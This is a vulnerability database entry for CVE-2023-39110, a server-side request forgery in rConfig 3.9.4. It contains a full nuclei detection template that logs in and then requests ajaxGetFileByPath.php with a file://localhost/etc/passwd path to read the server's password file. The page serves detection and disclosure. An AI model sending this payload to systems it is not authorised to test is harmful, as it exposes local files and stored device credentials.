HexBrain

Browse / CVEs / CVE-2023-39110

CVE-2023-39110· rconfig / rconfig· CWE-918

rConfig 3.9.4 - Server-Side Request Forgery

highseverity
8.8CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

Impact

Authenticated attackers can exploit SSRF through the path parameter in ajaxGetFileByPath.php to read local files and access internal network resources, potentially exposing network device configurations and credentials stored in rConfig.

Fix

Update rConfig to a version newer than 3.9.4 that validates URLs in the path parameter of ajaxGetFileByPath.php and restricts access to authorized protocols and destinations.

How to confirm it

Send: GET /login.php ; POST /lib/crud/userprocess.php ; GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=file://localhost/etc/passwd
Positive when: matches in body_3 /root:.*:0:0:/ AND contains in body_1 "rConfig" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39110 -u <target>

The full check
id: CVE-2023-39110

info:
  name: rConfig 3.9.4 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
  impact: |
    Authenticated attackers can exploit SSRF through the path parameter in ajaxGetFileByPath.php to read local files and access internal network resources, potentially exposing network device configurations and credentials stored in rConfig.
  remediation: |
    Update rConfig to a version newer than 3.9.4 that validates URLs in the path parameter of ajaxGetFileByPath.php and restricts access to authorized protocols and destinations.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_%20ajaxGetFileByPath.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39110
    - https://github.com/zer0yu/CVE_Request
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-39110
    cwe-id: CWE-918
    epss-score: 0.03651
    epss-percentile: 0.89695
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2023,cve,rconfig,authenticated,ssrf,lfr,vuln

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=file://localhost/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body_1
        words:
          - 'rConfig'

      - type: status
        part: header_3
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from